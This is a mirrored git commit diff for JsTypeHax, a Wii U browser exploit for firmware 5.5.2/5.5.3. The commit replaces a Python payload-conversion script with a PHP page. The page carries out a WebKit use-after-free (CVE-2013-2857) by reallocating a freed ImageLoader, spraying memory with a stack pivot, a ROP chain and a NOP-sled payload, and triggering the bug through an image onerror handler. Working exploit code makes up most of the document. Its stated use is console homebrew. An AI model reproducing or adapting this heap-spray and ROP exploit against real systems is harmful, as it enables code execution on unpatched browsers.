mirror of
https://github.com/wiiu-env/JsTypeHax.git
synced 2024-06-16 12:58:46 +02:00
Reducing the amount of hardcoded (rop)values and payloads. Now you can just put in your payload in form of a "code.bin".
This commit is contained in:
parent
0a4d2e43ec
commit
416bec26c7
10
README.md
10
README.md
|
@ -1,12 +1,12 @@
|
||||||
# JsTypeHax
|
# JsTypeHax
|
||||||
|
|
||||||
Wii U browser exploit for system version 5.5.2 and 5.5.3.
|
Wii U browser exploit for system version 5.5.2 and 5.5.3.
|
||||||
This PoC currently uses the homebrew launcher 1.4 payload, you can find the original file [here](https://github.com/dimok789/homebrew_launcher/releases/download/1.4/codebin.zip) .
|
Requires a valid payload ("code550.bin") in the root dir and the release files from the [wiiuhaxx_common repo](https://github.com/wiiu-env/wiiuhaxx_common/releases) inside a subfolder "wiiuhaxx_common".
|
||||||
To create a own usable payload, grab any `code550.bin` and `wiiuhaxx_loader.bin` from the [wiiuhaxx_common repo](https://github.com/wiiu-env/wiiuhaxx_common/releases) and place it in root of this repo.
|
|
||||||
Afterwards you can convert it to a JS arrays using `codebin2js.py`, replace line 53-56 on the `index.html` with this output.
|
|
||||||
|
|
||||||
# Dependencies
|
Tested with the [homebrew launcher 1.4 payload](https://github.com/dimok789/homebrew_launcher/releases/download/1.4/codebin.zip)
|
||||||
Python 3
|
|
||||||
|
# Requirements
|
||||||
|
A webserver with php support.
|
||||||
|
|
||||||
# The bug
|
# The bug
|
||||||
|
|
||||||
|
|
|
@ -1,46 +0,0 @@
|
||||||
import struct
|
|
||||||
import os
|
|
||||||
|
|
||||||
|
|
||||||
j = 0;
|
|
||||||
|
|
||||||
payload = ""
|
|
||||||
try:
|
|
||||||
f = open("wiiuhaxx_loader.bin", "rb")
|
|
||||||
while True:
|
|
||||||
B = struct.unpack(">B", f.read(1))[0];
|
|
||||||
payload += "0x%02x, " % (B)
|
|
||||||
j+=1
|
|
||||||
except:
|
|
||||||
payload += "\n"
|
|
||||||
|
|
||||||
for i in range(j&0x03):
|
|
||||||
payload += "0x00, "
|
|
||||||
payload += "\n"
|
|
||||||
|
|
||||||
payload += "0x00, 0x80, 0x00, 0x00,\n"
|
|
||||||
j+=4
|
|
||||||
|
|
||||||
try:
|
|
||||||
f = open("code550.bin", "rb")
|
|
||||||
while True:
|
|
||||||
B = struct.unpack(">B", f.read(1))[0];
|
|
||||||
payload += "0x%02x, " % (B)
|
|
||||||
j+=1
|
|
||||||
except:
|
|
||||||
payload += ""
|
|
||||||
|
|
||||||
for i in range(j&0x03):
|
|
||||||
payload += "0x00,"
|
|
||||||
payload += "\n"
|
|
||||||
|
|
||||||
#nop
|
|
||||||
nop = "";
|
|
||||||
for i in range(j, 0x8000, 4):
|
|
||||||
nop += "0x60, 0x00, 0x00, 0x00, "
|
|
||||||
nop += "\n"
|
|
||||||
|
|
||||||
print("[")
|
|
||||||
#print(nop)
|
|
||||||
print(payload)
|
|
||||||
print("]")
|
|
258
index.html
258
index.html
File diff suppressed because one or more lines are too long
174
index.php
Normal file
174
index.php
Normal file
|
@ -0,0 +1,174 @@
|
||||||
|
<?php
|
||||||
|
//Useful function
|
||||||
|
function hexentities($str) {
|
||||||
|
$return = '';
|
||||||
|
for($i = 0; $i < strlen($str); $i++) {
|
||||||
|
$return .= '0x'.bin2hex(substr($str, $i, 1)).', ';
|
||||||
|
}
|
||||||
|
return $return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Settings
|
||||||
|
$_REQUEST['sysver'] = '550'; // Currently hardcoded.
|
||||||
|
$payload_size = 0x8000;
|
||||||
|
$pivotAdressAdress = 0x1B800000; //r6
|
||||||
|
$payload_srcaddr = 0x1D600000;
|
||||||
|
$ROPHEAP = $payload_srcaddr + 0x800000;
|
||||||
|
$ROPCHAIN_JS_VAR = 1;
|
||||||
|
|
||||||
|
$USE_FIXED_PAYLOAD_LEGNTH = 0x400000; // This may be useless, but it worked once.. soo..
|
||||||
|
|
||||||
|
/**
|
||||||
|
Expects a wiiuhaxx_common_cfg.php with the following variables
|
||||||
|
|
||||||
|
$wiiuhaxxcfg_payloadfilepath = "code550.bin"; // The actual payload that will be loaded.
|
||||||
|
$wiiuhaxxcfg_loaderfilepath = "wiiuhaxx_common/wiiuhaxx_loader.bin";
|
||||||
|
**/
|
||||||
|
require_once("wiiuhaxx_common/wiiu_browserhax_common.php");
|
||||||
|
?>
|
||||||
|
|
||||||
|
<!--
|
||||||
|
Tested on 5.5.1
|
||||||
|
CVE-2013-2857
|
||||||
|
Use after free https://bugs.chromium.org/p/chromium/issues/detail?id=240124
|
||||||
|
Result: Bug is present, crash
|
||||||
|
-->
|
||||||
|
<script>
|
||||||
|
function UaF(a)
|
||||||
|
{
|
||||||
|
function arrayBufferConsoleAsHex( buffer, callback ) {
|
||||||
|
var blob = new Blob([buffer],{type:'application/octet-binary'});
|
||||||
|
var reader = new FileReader();
|
||||||
|
reader.onload = function(evt){
|
||||||
|
var dataurl = evt.target.result;
|
||||||
|
callback(base64ToBase16(dataurl.substr(dataurl.indexOf(',')+1)));
|
||||||
|
};
|
||||||
|
reader.readAsDataURL(blob);
|
||||||
|
}
|
||||||
|
|
||||||
|
function base64ToBase16(base64) {
|
||||||
|
return window.atob(base64)
|
||||||
|
.split('')
|
||||||
|
.map(function (aChar) {
|
||||||
|
return ('0' + aChar.charCodeAt(0).toString(16)).slice(-2);
|
||||||
|
})
|
||||||
|
.join('')
|
||||||
|
.toUpperCase(); // Per your example output
|
||||||
|
}
|
||||||
|
|
||||||
|
//Warning, the delta was modified !
|
||||||
|
var delta = 0x0<!--#echo var="delta" -->000000; //from 0x0 to 0x04000000 step by 0x01000000
|
||||||
|
var pivotAdress = 0x010ADDCC;
|
||||||
|
//5.5.2
|
||||||
|
{
|
||||||
|
var pivotAdressAdress = 0x1B800000; //r6
|
||||||
|
var payloadAdress = 0x1D600000 + delta;
|
||||||
|
}
|
||||||
|
|
||||||
|
var codegenAddress = 0x01800000;
|
||||||
|
var sizeWebCoreImageLoader = 0x18;
|
||||||
|
var sprayCount = 0x1900;
|
||||||
|
var _4K = 0x1000;
|
||||||
|
var _16K = 0x4000;
|
||||||
|
var _32K = 0x8000;
|
||||||
|
|
||||||
|
//radio is the *ONLY* type that left the freed WebCore::ImageLoader free !
|
||||||
|
a.type="radio";
|
||||||
|
|
||||||
|
//Allocate this new WebCore::ImageLoader over freed WebCore::
|
||||||
|
var ab = new ArrayBuffer(sizeWebCoreImageLoader);
|
||||||
|
var dv = new DataView(ab)
|
||||||
|
/*
|
||||||
|
0:000:x86> dt webkit!WebCore::ImageLoader
|
||||||
|
+0x000 __VFN_table : Ptr32
|
||||||
|
+0x004 m_client : Ptr32 WebCore::ImageLoaderClient
|
||||||
|
+0x008 m_image : WebCore::CachedResourceHandle<WebCore::CachedImage>
|
||||||
|
+0x00c m_failedLoadURL : WTF::AtomicString
|
||||||
|
+0x010 m_hasPendingBeforeLoadEvent : Pos 0, 1 Bit
|
||||||
|
+0x010 m_hasPendingLoadEvent : Pos 1, 1 Bit
|
||||||
|
+0x010 m_hasPendingErrorEvent : Pos 2, 1 Bit
|
||||||
|
+0x010 m_imageComplete : Pos 3, 1 Bit
|
||||||
|
+0x010 m_loadManually : Pos 4, 1 Bit
|
||||||
|
+0x010 m_elementIsProtected : Pos 5, 1 Bit
|
||||||
|
*/
|
||||||
|
//Register:r3 Adress:0x1AF35330-0x1AF35360
|
||||||
|
dv.setUint32(0x00, 0x00000000); //vtable
|
||||||
|
dv.setUint32(0x04, pivotAdressAdress); //m_client
|
||||||
|
dv.setUint32(0x08, pivotAdressAdress); //m_image
|
||||||
|
dv.setUint32(0x0C, 0x00000000); //m_failedLoadURL
|
||||||
|
dv.setUint32(0x10, 0x00000000); //m_hasPendingBeforeLoadEvent
|
||||||
|
dv.setUint32(0x14, 0x00000000); //padding
|
||||||
|
|
||||||
|
//Rop helper
|
||||||
|
|
||||||
|
var ropCurrentDv = null;
|
||||||
|
var ropCurrentOffset = 0;
|
||||||
|
|
||||||
|
function ropchain_appendu8(val){
|
||||||
|
ropCurrentDv.setUint8(ropCurrentOffset, val);
|
||||||
|
ropCurrentOffset += 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
//Spray large ArrayBuffer with pivotAdress
|
||||||
|
//Middle range 0x1B100000
|
||||||
|
var ar = new Array(0x1800);
|
||||||
|
for(var i=0; i<0x1800; i++){
|
||||||
|
ar[i] = new DataView(new ArrayBuffer(_4K));
|
||||||
|
for(var j=0; j<_4K; j+=4){
|
||||||
|
ar[i].setUint32(j, 0x10000000+j); //filler
|
||||||
|
}
|
||||||
|
|
||||||
|
ar[i].setUint32(0x204, 0x0);
|
||||||
|
ar[i].setUint32(0x018, pivotAdressAdress);
|
||||||
|
ar[i].setUint32(0x000, pivotAdressAdress+0x20);
|
||||||
|
ar[i].setUint32(0x2BC, pivotAdress); //lwz r0, 0x4(r11) ; mtlr r0 ; mr r1, r11 ; li r3, -0x1 ; blr ;
|
||||||
|
//r11, new stack location
|
||||||
|
ar[i].setUint32(0x208, pivotAdressAdress+0x300);
|
||||||
|
|
||||||
|
//initialize this Rop Chain
|
||||||
|
ropCurrentDv = ar[i];
|
||||||
|
ropCurrentOffset = 0x304;
|
||||||
|
|
||||||
|
var ropPrintStart = ropCurrentOffset;
|
||||||
|
|
||||||
|
//start of the Rop Chain
|
||||||
|
<?php
|
||||||
|
// This php function generates the ROP and places it into the global variable $ROPCHAIN
|
||||||
|
generate_ropchain();
|
||||||
|
echo $ROPCHAIN; // creates "var realROPChain = [...];" when "$ROPCHAIN_JS_VAR = 1;"
|
||||||
|
?>
|
||||||
|
realROPChain.forEach(function(element) {
|
||||||
|
ropchain_appendu8(element);
|
||||||
|
});
|
||||||
|
|
||||||
|
//arrayBufferConsoleAsHex(ar[i].buffer.slice(ropPrintStart,ropCurrentOffset), console.log.bind(console));
|
||||||
|
}
|
||||||
|
|
||||||
|
//Spray final payload
|
||||||
|
//Middle range 0x1C9E0000
|
||||||
|
var ar2 = new Array(sprayCount);
|
||||||
|
for(var i=0; i<sprayCount; i++){
|
||||||
|
ar2[i] = new Uint8Array(
|
||||||
|
<?php
|
||||||
|
$payload = wiiuhaxx_generatepayload();
|
||||||
|
// Place a bunch of nops before our actual payload so the total size is 0x4000 bytes.
|
||||||
|
echo "[";
|
||||||
|
for($iNop = 0;$iNop<(0x4000-strlen($payload))/4;$iNop++){
|
||||||
|
echo " 0x60, 0x00, 0x00, 0x00,"; // nop
|
||||||
|
}
|
||||||
|
echo hexentities($payload) . "]";
|
||||||
|
?>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
//arrayBufferConsoleAsHex(ar2[0].buffer.slice(0x0,0x4000), console.log.bind(console));
|
||||||
|
|
||||||
|
//alert("wait...");
|
||||||
|
|
||||||
|
//Use the new WebCore::ImageLoader & pivot !
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<input id="x" type="image" onerror="UaF(this);" src=""/>
|
|
@ -1 +0,0 @@
|
||||||
python -m http.server
|
|
6
wiiuhaxx_common_cfg.php
Normal file
6
wiiuhaxx_common_cfg.php
Normal file
|
@ -0,0 +1,6 @@
|
||||||
|
<?php
|
||||||
|
|
||||||
|
$wiiuhaxxcfg_payloadfilepath = "code550.bin";
|
||||||
|
$wiiuhaxxcfg_loaderfilepath = "wiiuhaxx_common/wiiuhaxx_loader.bin";
|
||||||
|
|
||||||
|
?>
|
Loading…
Reference in New Issue
Block a user